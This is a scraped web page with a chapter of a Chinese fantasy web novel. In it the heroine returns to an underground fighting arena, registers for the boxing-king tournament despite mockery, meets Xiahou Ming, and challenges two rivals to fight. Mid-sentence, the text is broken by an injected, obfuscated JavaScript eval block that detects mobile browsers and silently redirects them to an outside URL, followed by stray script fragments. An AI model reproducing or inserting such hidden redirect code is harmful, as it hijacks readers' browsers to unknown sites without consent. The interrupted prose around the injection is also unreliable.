37.丈八蛇矛

作品:《挟赤兔猫以令小红帽

    都市探真办公室里,蒋干正对着一桌素材兴奋的念念有词,已经开始构想新闻大奖的领奖台了。


    陈先生却独自走到落地窗前,拨通了一个电话。


    "董事长,事情已经办妥。按照您的指示,我们以企业社会责任的名义接下了这个污染货币案,也吸纳了那两位关键证人。


    电话那头传来一个疲惫的声音:“很好....尽人事,听天命吧。如今璘儿的病,也只能寄望于多行善举,上苍庇佑了。”


    陈先生看着窗外:“少爷洪福齐天,定会好转的.....医生还是查不出病因吗?”


    “查不出,"那头的声音带着深深的无力感,"就是两个月前开始,身体莫名其妙地衰弱,仿佛生命力在一点点流.....”


    ……


    就在关照萤回去的路上,她的手机震动了一下,屏幕上跳出一个好友申请,备注是「音染」。


    她通过申请,对方立刻发来了一段话:


    「萤火虫,谢谢你。这份情,我和丑叔都记着。还有……之前在台上对你撒土,对不起。那时候我太蠢了」


    音染说明了原因:


    「那时候看到阿修罗输给你,我心里……很难受。那时候,我有点喜欢他。我的任性,请你原谅。」


    关照萤看着这条信息,愣了一下。这个理由简单、幼稚,却又出乎意料地真实。


    她回道:「已经过去了,不过,你喜欢阿修罗?为什么?」


    音染的消息回得很快,追忆起了那段过往,


    「因为在我最害怕的时候,他放过了我。」那时音染姬被逼着去参加赏金赛,打算压轴出,拿到最高金额,谁都没想到阿修罗中途也挑战了,还一路连胜。


    「当时轮到我了,我吓死了,以为自己死定了。」


    结果音染姬还记得,阿修罗当时在台上,看了她一眼。


    「看了我一眼,然后……转身就下去了」


    「他……弃权了?」


    「嗯,我当时也很奇怪,他真的就跳下了台,找了个角落……好像睡着了。好像他根本不是为钱来的,只是单纯想打架,我因此不战而胜,拿到了救命的赏金。」


    「……睡着了??」


    字转换成一个可爱兔子呼呼大睡的表情包。


    关照萤心里暗叹,不愧是阿修罗,就是不按套路出牌。


    「是的,这份恩情我一直记得,后来看见他被你撒土了,我就想替他出气。后来你晋升速度太快了,组织也让我盯着你……结果我输了,才有了后面那些事。」音染的字句渐渐慢下来,透着清晰的涩然,「现在想想,我真是太幼稚了。」


    想起音染姬被按在池子里的画面,一个帮她赢了躲过灾难的阿修罗,一个让她输了就要被责罚的人,她对她的恨意,倒也说得通。


    对了,音染姬正在转账,「你哪边,怎么展示你没有实名认证啊?”


    ……


    龙哥批的请假终于结束……


    关照萤的身影刚出现在丰都大剧院的回廊里,就像有消音buff一样,让周围本来在议论的窃窃私语突然停住,无数道视线从四面八方扎过来,黏在她身上。


    她怀疑?难道是自己今天脸没洗干净,赶紧用前置摄像头,照了一下。


    她捏着脸,干干净净啊……


    可这一路上的目光,有人举着她怪力少女萤的海报,上面写着,“丰都史上最年轻的不屈伯爵,被拳王项生认证过。”在移到了她脸上,“萤火虫,你回来了?”


    她几天没在丰都,居然搞的像她三年没来一样……


    “你就是萤火虫小姐啊!啊啊啊真人啊。”


    “好可爱好漂亮好萌,我死了!”


    有人看着她的别在衣服上的,不屈伯爵徽章,“居然真的是,不屈段位!”


    这些眼神,有新手对她快速升级传奇的敬畏或好奇,也有她何德何能能被项生提起的赤裸裸嫉妒,当然也有纯粹的审视与不服。


    她清晰地听到几个毫不掩饰的议论:


    “看,继承了小丑段位的那位回来了。”


    “哼,小丑好歹是不屈伯爵,她算什么?一个被龙哥硬捧出来的“怪力女”,也配?”


    “听说请假是怂了,躲风头去了吧?”


    “靠男人上位,算什么能耐……”


    这些黑她的话,她越听越觉得耳熟,居然和她在论坛上看到的一模一样,她怀疑他们对着手机复制黏贴,或者正是发帖的不服她的那几位本人。


    听说,自从她被夏侯暝担保后,他们也不在公众太明显了,而是换成了,某些中译中的阴阳怪气。


    比如,把“她假装请病假是怕了躲风头”翻译成:“某位怕杀虫剂的小虫子,最近启动了防沉迷模式——没办法,外面杀虫剂浓度超标了嘛。”


    把“靠男人”升级为:“震惊!她可能给某位大佬下了邪蛊,迷惑了他。”


    她迷惑夏侯暝,她看是反过来还真差不多。


    更离谱的是,上周居然还真有人给她创作了一首歌,调子是耳熟能详的儿歌《两只老虎》,词被魔改得她第一次听时,差点把水喷出来:


    “一只萤火,一只萤火


    力气大,力气大


    一只后台很硬,一只全靠运气


    真奇怪,真奇怪~”


    还真引起了小范围的翻唱,推出了不少版本,阴间小孩合唱版,和有人才艺的人挥着水袖戏腔哀怨版。


    在论坛鬼畜循环,她差点被洗脑,想着论坛的热搜,她只能安慰自己还真是火了,连黑粉都舍得花功夫给她编曲打榜了。


    直到那天,洗澡的时候情不自禁的唱出来,她脑子一懵,完了……


    就在这恶意带着歌谣,扑面而来时。


    她手腕上微微一凉,是那串在枯树林里捡来的古铜钱手链。


    一个阴丝丝的男声,带着一种戏谑,直接在她脑海深处看热闹不嫌事大的响起来,又像是顺着铜钱传来的细微震颤:


    “这些蝼蚁的恶意………何须忍耐?”


    这声音和当日在火场一模一样,这年头APP会说话就算了,怎么连铜钱都成精了?


    〔警告:检测到贾诩碎片意识,正在尝试诱发“乱武”效果,干扰宿主判断。〕


    想搅乱她心思?


    她扇了扇铜钱,“作为一个铜钱精,就好好闭嘴!不然我给你卖了!”


    “吾非……铜钱……精。”


    他断句的声音,居然和她扇的频率一样。


    这招威胁果然好使,只剩下别的讨论声。


    “……拳王项生前天居然露面了,真是稀罕。”


    “废话,三个月后就是新一轮“拳王赛”,他这个守门人总得出来亮个相,配合东家工作呗。”


    “唉,看了这么多年,哪一届不是他站在最后?根本没人能撼动。”


    “这次不一样!听说这次的彩头,是真正的神器,传说中张飞用过的丈八蛇矛呢!”


    “丈八蛇矛”四个字,像一把钥匙拧开了她骨头缝里某个蠢蠢欲动的开关,她情不自禁得五指张开……有种天命在我,势在必得感觉,又觉得十分想念。


    丈八蛇矛吗……有点意思。


    这时,一个声音也阴阳怪气的响起,穿的也阴阳不分,粉衣白丝,脸上有着一半刺青的男的……


    “哟,我们的“幸运儿”终于舍得回来了?请假这些天,是去苦练怎么在台上哭得更可怜,好多博取点同情分吗?”


    可恶,他们居然撞了穿搭,心烦气乱的她,只能把他当成一团行走的噪音过滤了。“借过。”


    面无表情地穿过人群,脚步没停,方向明确,直直朝着大厅正中央,“拳王赛报名处”牌子走了过去。


    这个举动,必然是引起轰动的。


    “她要去干嘛?”


    “那个方向……她难不成真要……


    “她不会是想报名吧?!”


    在无数道,犹豫在门口,难以置信的目光注视下,关照萤拿起笔,在报名表上利落地签下了自己的代号“萤火虫”。整个过程没有丝毫犹豫。


    这一下,那些积蓄的敌意,终于有了发泄的源点。


    那粉衣男被她当空气晾着,脸上挂不住,一个冲上来,用美甲指着她:


    “‘萤火虫!你居然也敢报名?你以为打败了小丑,就真能摸到拳王的边了?你也想跟项生打?做你的白日——”


    “咔嚓。”


    一声清脆的快门响。


    所有人都愣了一下。只见关照萤不知何时举起了手机,屏幕正对着粉衣男因愤怒而涨红扭曲的脸,完美定格。


    “???”粉衣男僵住了,戳出去的手指忘了收。


    旁边一个脸上有刺青的壮汉跟着嗤笑出声:“哈!真是不知天高地厚!我们这些人流血流汗多少年……你一个靠关系刷分的,也配惦记丈八蛇矛。”


    “咔嚓。”


    又是一声,镜头精准捕捉到壮汉那张大的嘴。


    “嗯?”关照萤仔细确认了一下,他们脸上的刺青,一左一右,还能组合起来成为一对……蝴蝶翅膀。


    大概是她的成功路线具有参考性,一个打扮精致,走偶像路线的女选手,是她不在的这段时间,迅速升起的新星,所有人都能听到的女人的嘲讽。


    “啧,现在真是阿猫阿狗都敢做神器梦了。以为拳王赛是过家家吗?”


    这些嘲讽翻来覆去,核心思想就一句:


    “你也配挑战项生?”


    在他们看来,萤火虫不仅靠关系,还异想天开,她的报名本身就是一种对拳王赛,对神器的亵渎。


    “行……”她默不作声,移动手机,“咔嚓”、“咔嚓”,挨个给那些反对者拍下了生动的表情高清特写。


    大概是镜头的敏感度,那位走偶像路线的女选手,迅速调整姿势眨眼摆了个剪刀手。


    拍完她才反应过来:“……?”


    几人这才后知后觉地炸了,“萤火虫,你拍我们干嘛?”


    这种被冒犯的感觉……


    关照萤道:“我们无冤无仇,是你们先冒犯我的。”


    就在这时,龙哥他分开人群走了过来。


    “都围在这儿干什么?不用备战了?拳王赛靠嘴打吗?”


    激动看戏的人群被散开,龙哥走到报名处,拿起关照萤刚签好的表格,仿若至宝。


    他先是打了个招呼,“萤火虫,好久不见啊。”


    关照萤点了点头。


    “你倒是……直接。”他晃了晃报名的表格,“你太会了,这下,话题度这下是彻底拉满了。”


    “不是,我是认真的!”


    龙哥愣了一下,声音都大了,“那可都是高段位的比赛啊,你真要去?”


    “是的。”关照萤淡定无比,低头整理照片,龙哥不解其意,甚至有点迷糊,“你?”


    “我记不住他们的脸,只能这样。”


    然后,她终于抬起头,目光扫过面前残留的几张各色各样的面孔。


    眼底掠过一丝自己都未察觉的,与贾诩碎片同源的冷,她的嘴角极轻微地勾了一下,不像笑,


    “等到了擂台上,”她轻轻缓慢的说,“挨个,清算。”


    这轻飘飘一句话,逼格拉满,震得龙哥半天没合上嘴。


    “好——!!”


    随着龙哥的手指指挥,旁边“唰”地亮起几道雪亮的补光灯,晃得关照萤眼睛,错愕的…眨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903404|189963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一下。


    只见他手下那支专业的摄像团队不知何时已经架好了机器,黑洞洞的镜头正牢牢对准着她。龙哥兴奋地比了个大拇指,对着关照萤。


    “萤火虫,还是你懂!这台词,绝了,预告片的爆点有了!”


    关照萤:“……”


    她整个人都懵了,呆呆地看了看镜头,又又要公开处刑了。


    “别发呆了。”龙哥的声音把她拽了回来,语气里透着一丝难得的正经,“萤火虫。夏侯二少爷来了,要见你。”


    她跟着龙哥,穿过喧闹的场馆,推开门,里面的光线调得很暗,只有中央沙发处有一点模糊的轮廓。


    夏侯瞑就坐在那片昏沉的阴影里,姿态依旧优雅,但是一种疲惫感笼罩着他。


    她缓缓走近,看到了,他那双能看透人心的眼睛上,覆着一个黑色的丝质眼罩,另一只露出的另一只眼睛,也褪去了往日迫人的锐利,只剩下深潭般的倦意,静静地望了过来。


    空气很安静,她的脚步也尽量缓慢无声了,他整个人看起来,竟透出一种琉璃器皿般的易碎感。


    “萤火虫妹妹来了?”夏侯瞑的声音比平时更懒散些,手腕在昏光里划出一道苍白的弧线,“过来。”


    关照萤依言走近,目光不由自主地落在那只眼罩上,这里看的更清晰了,带着迟疑的问话脱口而出:“你的眼睛……怎么了?”


    夏侯瞑似乎也有些意外她会主动关心,眼罩下的眉骨微微一动,他没有直接回答,反而顺势抬起手,示意她更靠近一点。


    “无事,一点小代价……”然后手朝着她的眼睑探来,语调里带着亲昵的探究:


    “不如让我看看,妹妹最近……又遇到了什么有趣的事?”


    这动作随意,却带着男人侵占性的亲昵,不容抗拒。


    关照萤几乎是条件反射般地后退了半步,头颈微偏,避开了那几乎要触碰到睫毛的指尖。


    “夏侯少爷。”她声音闷闷,抗拒明明白白,“我也要隐私的。”


    夏侯瞑的手顿在半空,他显然没料到在因果吸引下,她还能如此拒绝,那只裸露在外的眼睛微微睁大了一瞬,随即,他低低地笑了起来,又像是觉得很有趣,缓缓收回了手。


    “好,不闹你了。“他从善如流,仿佛刚才真的只是一个无伤大雅的玩笑。


    “不用这般叫我,”他看着她,“我叫夏侯瞑,字玧漆。”


    “玧漆……?”关照萤下意识地重复,“哪两个字?”三国的人好像都有表字,这习惯……“你们家还真是古老啊,现在还有人用‘字’吗?是每个人都这样?”


    “猜对了。”


    他拉过她的手,在她手心勾勒无形的笔画,“玧,“王字为旁,允诺为体。古意……近冕。”


    “漆,”他继续牵引,“如胶似漆的漆。”


    “知道了……”她缩回手,气氛似乎松动了一些,但他接下来的话,却如平地起惊雷。


    “在过几月,我大概会订婚。”明明是人生大事,他说的像在说一件与己无关的公事。


    她看着他,像是被怔住了,一股没由来的强烈又憋闷的烦躁感,又酸又胀。


    一股想要破坏点什么的冲动在她血管里窜动。


    他……订婚?


    是张飞的特质!她对这种被剧烈情绪勾起的狂暴并不陌生,可每一次,对象是夏侯瞑,这种感觉变得格外清晰和……更难以忍受。


    夏侯瞑看着她的表现,了然,他像是确认了什么,语气依旧轻松:


    “怎么这副表情?到时候,给你发请柬。”


    关照萤猛地别开脸,生怕自己下一秒会说出什么不受控的话,或者一拳砸穿旁边的桌子,她只能从喉咙里挤出一个音节:


    “……哦。”


    ……


    关照萤的身影再次出现在擂台舞台时,整个丰都都在等她的继承伯爵段位后的,回归之战,不仅有刘哥,更有逍遥散人来给她助威,“盟主,萌主大人,加油啊!”


    “打败一切质疑!”


    她感激点了点头,隔空与几人点头,拿出了手机,翻出那三张照片。


    她寻思有点远,可能看不到,谁知突然背后的亮光一下亮起。


    她的手机内容,不知何时被龙哥投屏到后面的大屏了。


    屏幕里面的人,正是嘲讽她的粉衣白丝袜、和刺青是一对的汉子,和那个偶像女选手。


    一个话筒塞到了她手中,她愣了一下,清晰地穿透喧嚣:


    “你,你,还有你。”她的指尖依次点过三张脸,“别浪费时间了。一起上吧,敢不敢?”


    【已检测初级版当阳桥,霸气初显!】


    全场哗然!


    以一敌三?而且还是三个风格迥异、实力不弱的选手?这萤火虫是疯了还是彻底不想混了?!


    那位偶像女选手先是愣了一下,嘴角立刻翘起一个心知肚明的弧度。她非但没上前,反而向后优雅地退了半步,抱起手臂,用甜丝丝的却能让全场听清的嗓音说:


    “我可不陪你玩这种噱头,三个人打一个,赢了也不光彩。她歪了歪头,笑得无懈可击,“我要的,是在所有人眼前,一对一、堂堂正正地……赢你。”


    果然此话一出,她赢得了不少好感,她更倾向于更有话题的打法。


    她选择了作壁上观,要将利益最大化。


    粉衣男和刺青壮汉对视一眼,都被关照萤的狂妄彻底激怒。


    找死是吧?行,我辆成全你!


    两人一跃而上擂台,一左一右,形成夹击之势。


    裁判看向关照萤,她点了点头。规则?在绝对的实力和话题面前,规则可以暂时为收视率让路。


    “开始!”